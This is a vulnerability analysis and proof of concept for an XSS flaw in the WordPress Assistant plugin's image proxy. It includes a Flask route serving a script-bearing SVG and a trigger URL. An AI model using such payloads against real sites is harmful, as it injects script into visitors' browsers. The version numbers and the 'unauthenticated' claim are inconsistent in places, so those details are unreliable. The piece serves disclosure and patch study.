Contents

CVE-2025-53307 Analysis & POC

The vulnerability exists in the Assistant plugin for WordPress prior to version 3.6.2. This could allow an attacker to inject malicious code (e.g., redirect scripts, ads, or other HTML payloads) into the website, which would execute when visitors open the page.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Assistant: v1.5.2 (vulnerable) and v1.5.3 (patched)
  • Diff tool: meld or any tool capable of comparing two versions

The application displays user-provided image content directly via a URL without validating or fully checking the MIME type. This allows an attacker to supply a file disguised as an image, which when processed by the browser, executes malicious code โ†’ resulting in an XSS vulnerability.

Use any diff tool to compare the vulnerable version and the patch.

Patch Diff
Diff between vulnerable and patched version

In this case, there are significant differences between the two versions. For easier tracking, the change log identifies where the XSS patch was applied:

Changelog
1.5.3 (2025-09-08)

- Changes to support the integration of Assistant in Beaver Builder version 2.10
- Fixed dark mode issues on the Home app and sidebar.
- Security: Fixed a potential XSS vulnerability in the "image proxy"

๐Ÿ‘‰ The vulnerability is located in backend/src/Hooks/ImageProxy.php. Observing the differences between the two versions:

Patch Diff 1
Differences in the render_image function of ImageProxy.php

The changes occur in the render_image function, which:

  • Accepts a URL parameter from the query string ($_GET['url']).

  • Sends a request from the server to that URL to fetch the content.

  • Prevents SSRF using wp_safe_remote_get.

  • If the content has a Content-Type header starting with image/, then:

    • Sends the same Content-Type header back to the client.
    • Echoes the file content to the browser.
  • The browser displays the image not directly from the original source but through the WordPress server.

SVG files also have a Content-Type starting with image/ and can contain embedded JavaScript โ†’ XSS can occur.

The patch added an additional check to verify the actual MIME type of the file to prevent XSS via SVG or maliciously disguised files.

$filesystem = self::filesystem();
$tmpfile    = tempnam( '/tmp', 'assistant' );
$filesystem->put_contents( $tmpfile, $body );
$validimage = wp_get_image_mime( $tmpfile );
$filesystem->delete( $tmpfile );

if ( ! $validimage ) {
    return false;
}

wp_get_image_mime() uses internal image processing (based on the binary data of the file) to determine the actual MIME type.

If the result is not a valid image โ†’ returns false.

In the __construct of the ImageProxy class, the render_image() method is called via the 'init' action hook. The 'init' hook runs early in WordPress loading, after core objects are initialized but before output is sent to the browser.

render_image is called only if the current user has permission to edit other users’ posts and the $_GET['fl_asst_image_proxy'] parameter exists.

๐Ÿ‘‰ Accessing /wp-admin/?fl_asst_image_proxy=value1&url=http://yoursite/image-path triggers render_image and returns the image content to the browser.

Create a simple web page returning an SVG containing an XSS payload:

from flask import Flask, Response

app = Flask(__name__)

@app.route('/')
def home():
    return 'Hello, World!'

@app.route('/svg')
def about():
    svg = """<?xml version="1.0" encoding="UTF-8"?>
    <svg xmlns="http://www.w3.org/2000/svg">
        <script>alert(document.domain)</script>
    </svg>"""
    return Response(svg, mimetype="image/svg+xml")

Send a request with the url parameter pointing to https://yoursite/svg:

http://localhost/wp-admin/?fl_asst_image_proxy=abc&url=https://yoursite/svg

๐Ÿ‘‰ Successful for Unauthenticated because as long as the user has permission, accessing the URL triggers XSS in the victimโ€™s browser. The attacker does not need to log in.

Detect
SVG with XSS payload displayed via image proxy

The CVE-2025-53307 vulnerability in the WordPress Assistant plugin (<= v1.5.2) allows XSS via render_image() because it does not validate the actual file MIME type. Version v1.5.3 patched this by verifying the file content before returning it to the browser.

Key takeaways:

  • Do not trust the Content-Type header from HTTP responses.
  • Always validate the actual MIME type of the file.

Cross-site scripting (XSS) cheat sheet

WordPress Assistant Plugin <= 1.5.2 is vulnerable to Cross Site Scripting (XSS)

Related Content